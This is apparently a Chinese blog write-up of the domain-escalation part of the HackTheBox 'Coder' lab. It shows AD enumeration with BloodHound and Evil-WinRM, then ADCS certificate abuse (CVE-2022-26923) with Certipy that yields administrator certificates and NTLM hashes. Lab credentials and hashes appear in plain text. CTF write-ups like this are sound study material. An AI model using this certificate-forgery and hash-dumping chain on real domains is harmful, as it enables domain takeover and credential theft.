本文是insane难度的HTB Coder机器的域渗透部分,其中Bloodhound AD Enumeration, ADCS CVE-2022-26923等域渗透提权细节是此box的特色,主要参考0xdf’s blog coder walkthrough和HTB的coder官方writeup paper记录这篇博客加深记忆和理解,及供后续做深入研究查阅,备忘。
Group Name Type SID Attributes =========================================== ================ ============================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group CODER\PKI Admins Group S-1-5-21-2608251805-3526430372-1546376444-2101 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
*Evil-WinRM* PS C:\Users\e.black\Documents> net group "PKI Admins" Group name PKI Admins Comment ADCS Certificate and Template Management
Members
------------------------------------------------------------------------------- e.black The command completed successfully.
~/hackthebox/machine/coder ⌚ 18:44:17 $ bloodhound-python -c All -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -ns 10.10.11.207 -d coder.htb -dc coder.htb --zip INFO: Found AD domain: coder.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: coder.htb INFO: Kerberos auth to LDAP failed, trying NTLM WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead... INFO: Kerberos auth to LDAP failed, trying NTLM INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: coder.htb INFO: Kerberos auth to LDAP failed, trying NTLM WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead... INFO: Kerberos auth to LDAP failed, trying NTLM INFO: Found 10 users INFO: Found 55 groups INFO: Found 3 gpos INFO: Found 5 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc01.coder.htb INFO: Done in 02M 23S INFO: Compressing output into 20231220185002_bloodhound.zip
*Evil-WinRM* PS C:\Users\e.black> net group "Buildagent Mgmt" Group name BuildAgent Mgmt Comment Teamcity BuildAgent Management
Members
------------------------------------------------------------------------------- s.blade The command completed successfully. *Evil-WinRM* PS C:\Users\e.black> net group "Software Developers" Group name Software Developers Comment Teamcity CI/CD Development
Members
------------------------------------------------------------------------------- j.briggs s.blade The command completed successfully.
使用neo4j数据库语句查询它们之间的关系
1
MATCH p=(o:OU)-[r:Contains*0..]->(n) RETURN p
这对正在处理的Organizational Units(OU)有了一个坚实的概述,即:
1
OU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTB
最后,为了获得节点层次结构的完整概述,使用以下Cypher查询:
1
MATCH (o1)-[r1:Contains]->(o2:OU) WITH o1 MATCH p=(d)-[r2:Contains*0..]->(o1)-[r3:Contains]->(n) RETURN p
这里要查看的一件事是此AD中的organizational units (OU)。这可以用PowerShell完成:
1 2 3 4 5 6 7 8 9
*Evil-WinRM* PS C:\Users\e.black> Get-ADOrganizationalUnit -filter * | select Name
Name ---- Domain Controllers Development Groups Users BuildAgents
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 21 [*] Got certificate with DNS Host Name 'dc01.coder.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'dc01.pfx'
-<ROOT@kali:~/hackthebox/machine/coder>- -<pts/6>- -<#>- certipy auth -pfx dc01.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: dc01$@coder.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'dc01.ccache' [*] Trying to retrieve NT hashfor'dc01$' [*] Got hashfor'dc01$@coder.htb': aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94
-<ROOT@kali:~/hackthebox/machine/coder>- -<pts/6>- -<#>- certipy find -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -text Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for'coder-DC01-CA' via CSRA [!] Got error while trying to get CA configuration for'coder-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for'coder-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Got CA configuration for'coder-DC01-CA' [*] Saved text output to '20231220224850_Certipy.txt'
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 25 [*] Got certificate with UPN 'administrator@coder.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'
使用administrator.pfx dump administrator的NTLM hash
1 2 3 4 5 6 7 8 9 10
-<ROOT@kali:~/hackthebox/machine/coder>- -<pts/6>- -<#>- certipy auth -pfx administrator.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@coder.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'administrator@coder.htb': aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7